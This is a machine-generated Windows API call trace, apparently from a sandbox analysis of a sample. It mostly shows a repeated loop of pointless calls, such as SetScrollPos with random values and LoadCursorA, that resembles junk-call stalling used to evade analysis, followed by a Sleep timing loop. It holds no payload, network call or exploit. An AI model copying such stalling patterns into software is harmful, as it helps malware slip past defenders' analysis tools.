	[0095.931] GetCurrentProcessId () returned 0xb50
	[0095.931] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1695354490, bRedraw=1) returned 0
	[0095.931] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.931] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.931] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.931] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.931] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.931] GetCurrentProcessId () returned 0xb50
	[0095.931] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1080684340, bRedraw=1) returned 0
	[0095.931] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.931] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.931] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.931] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.931] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.931] GetCurrentProcessId () returned 0xb50
	[0095.931] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-428614174, bRedraw=1) returned 0
	[0095.931] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.931] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.931] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.932] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.932] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.932] GetCurrentProcessId () returned 0xb50
	[0095.932] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1928282736, bRedraw=1) returned 0
	[0095.932] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.932] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.932] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.932] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.932] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.932] GetCurrentProcessId () returned 0xb50
	[0095.932] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=876645950, bRedraw=1) returned 0
	[0095.932] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.932] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.932] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.932] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.932] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.932] GetCurrentProcessId () returned 0xb50
	[0095.932] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-603762708, bRedraw=1) returned 0
	[0095.932] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.932] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.932] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.933] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.933] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.933] GetCurrentProcessId () returned 0xb50
	[0095.933] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2074541414, bRedraw=1) returned 0
	[0095.933] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.933] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.933] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.933] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.933] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.933] GetCurrentProcessId () returned 0xb50
	[0095.933] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=759277128, bRedraw=1) returned 0
	[0095.933] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.933] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.933] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.933] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.933] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.933] GetCurrentProcessId () returned 0xb50
	[0095.933] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-692241674, bRedraw=1) returned 0
	[0095.933] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.933] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.934] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.934] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.934] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.934] GetCurrentProcessId () returned 0xb50
	[0095.934] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2134130524, bRedraw=1) returned 0
	[0095.934] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.934] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.934] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.934] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.934] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.934] GetCurrentProcessId () returned 0xb50
	[0095.934] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=728577874, bRedraw=1) returned 0
	[0095.934] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.934] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.934] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.934] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.934] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.934] GetCurrentProcessId () returned 0xb50
	[0095.934] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-694051072, bRedraw=1) returned 0
	[0095.934] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.935] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.935] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.935] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.935] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.935] GetCurrentProcessId () returned 0xb50
	[0095.935] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2107050066, bRedraw=1) returned 0
	[0095.935] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.935] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.935] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.935] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.935] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.935] GetCurrentProcessId () returned 0xb50
	[0095.935] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=784548188, bRedraw=1) returned 0
	[0095.935] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.935] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.935] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.935] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.935] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.935] GetCurrentProcessId () returned 0xb50
	[0095.935] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-609190902, bRedraw=1) returned 0
	[0095.936] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.936] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.936] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.937] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.937] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.937] GetCurrentProcessId () returned 0xb50
	[0095.937] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1993300040, bRedraw=1) returned 0
	[0095.937] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.937] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.937] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.937] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.937] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.937] GetCurrentProcessId () returned 0xb50
	[0095.937] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=927188070, bRedraw=1) returned 0
	[0095.937] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.937] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.937] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.937] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.937] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.937] GetCurrentProcessId () returned 0xb50
	[0095.937] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-437661164, bRedraw=1) returned 0
	[0095.937] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.937] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.938] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.938] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.938] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.938] GetCurrentProcessId () returned 0xb50
	[0095.938] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1792880446, bRedraw=1) returned 0
	[0095.938] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.938] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.938] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.938] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.938] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.938] GetCurrentProcessId () returned 0xb50
	[0095.938] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1156497520, bRedraw=1) returned 0
	[0095.938] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.938] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.938] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.938] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.938] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.938] GetCurrentProcessId () returned 0xb50
	[0095.938] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-179461858, bRedraw=1) returned 0
	[0095.938] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.938] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.939] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.939] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.939] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.939] GetCurrentProcessId () returned 0xb50
	[0095.939] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1505791284, bRedraw=1) returned 0
	[0095.939] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.939] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.939] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.939] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.939] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.939] GetCurrentProcessId () returned 0xb50
	[0095.939] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1472476538, bRedraw=1) returned 0
	[0095.939] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.939] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.939] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.939] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.939] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.939] GetCurrentProcessId () returned 0xb50
	[0095.939] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=165407016, bRedraw=1) returned 0
	[0095.940] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.940] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.940] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.940] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.940] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.940] GetCurrentProcessId () returned 0xb50
	[0095.940] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1132032554, bRedraw=1) returned 0
	[0095.940] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.940] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.940] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.940] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.940] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0097.235] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c86990
	[0097.236] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c86990 | out: hHeap=0x2c80000) returned 1
	[0098.064] LoadStringW (in: hInstance=0x2a0000, uID=0xf87865d8, lpBuffer=0x318038, cchBufferMax=260 | out: lpBuffer="") returned 0x0
	[0098.064] LoadStringW (in: hInstance=0x2a0000, uID=0x774, lpBuffer=0x318038, cchBufferMax=260 | out: lpBuffer="") returned 0x0
	[0098.064] LoadAcceleratorsA (hInstance=0x2a0000, lpTableName=0x65d8) returned 0x0
	[0098.064] GetCurrentProcess () returned 0xffffffff
	[0098.064] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x100) returned 1
	[0098.065] QueryPerformanceFrequency (in: lpFrequency=0xdef568 | out: lpFrequency=0xdef568*=100000000) returned 1
	[0098.065] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0098.066] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xdef530) returned 0
	[0098.066] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.066] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19205966344) returned 1
	[0098.066] Sleep (dwMilliseconds=0x1) 
	[0098.068] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.068] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19206182164) returned 1
	[0098.068] Sleep (dwMilliseconds=0x1) 
	[0098.070] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.070] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19206346902) returned 1
	[0098.070] Sleep (dwMilliseconds=0x1) 
	[0098.072] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.072] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19206546703) returned 1
	[0098.072] Sleep (dwMilliseconds=0x1) 
	[0098.074] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.074] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19206746031) returned 1
	[0098.074] Sleep (dwMilliseconds=0x1) 
	[0098.076] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.076] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19206946591) returned 1
	[0098.076] Sleep (dwMilliseconds=0x1) 
	[0098.078] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.078] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19207146505) returned 1
	[0098.078] Sleep (dwMilliseconds=0x1) 
	[0098.080] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.080] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19207351066) returned 1
	[0098.080] Sleep (dwMilliseconds=0x1) 
	[0098.082] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.082] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19207546051) returned 1
	[0098.082] Sleep (dwMilliseconds=0x1) 
	[0098.084] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.084] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19207746438) returned 1
	[0098.084] Sleep (dwMilliseconds=0x1) 
	[0098.086] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.086] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19207946024) returned 1
	[0098.086] Sleep (dwMilliseconds=0x1) 
	[0098.088] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.088] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19208146496) returned 1
	[0098.088] Sleep (dwMilliseconds=0x1) 
	[0098.090] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.090] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19208350022) returned 1
	[0098.090] Sleep (dwMilliseconds=0x1) 
	[0098.092] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.092] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19208546509) returned 1
	[0098.092] Sleep (dwMilliseconds=0x1) 
	[0098.094] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.094] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19208746223) returned 1
	[0098.094] Sleep (dwMilliseconds=0x1) 
	[0098.096] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.096] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19208945662) returned 1
	[0098.096] Sleep (dwMilliseconds=0x1) 
	[0098.098] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.098] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19209146498) returned 1
	[0098.098] Sleep (dwMilliseconds=0x1) 
	[0098.100] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.100] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19209345644) returned 1
	[0098.100] Sleep (dwMilliseconds=0x1) 
	[0098.102] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.102] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19209546771) returned 1
	[0098.102] Sleep (dwMilliseconds=0x1) 
	[0098.104] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.104] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19209746785) returned 1
	[0098.104] Sleep (dwMilliseconds=0x1) 
	[0098.106] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.106] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19209947004) returned 1
	[0098.106] Sleep (dwMilliseconds=0x1) 
	[0098.108] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.108] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19210147924) returned 1
	[0098.108] Sleep (dwMilliseconds=0x1) 
	[0098.110] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.110] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19210346257) returned 1
	[0098.110] Sleep (dwMilliseconds=0x1) 
	[0098.112] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.112] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19210548185) returned 1
	[0098.112] Sleep (dwMilliseconds=0x1) 
	[0098.114] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.114] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19210746371) returned 1
	[0098.114] Sleep (dwMilliseconds=0x1) 
	[0098.116] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.116] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19210945459) returned 1
	[0098.116] Sleep (dwMilliseconds=0x1) 
	[0098.118] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.118] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19211145080) returned 1
	[0098.118] Sleep (dwMilliseconds=0x1) 
	[0098.120] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.120] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19211346888) returned 1
	[0098.120] Sleep (dwMilliseconds=0x1) 
	[0098.122] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.122] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19211545417) returned 1
	[0098.122] Sleep (dwMilliseconds=0x1) 
	[0098.124] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.124] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19211745462) returned 1
	[0098.124] Sleep (dwMilliseconds=0x1) 
	[0098.126] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
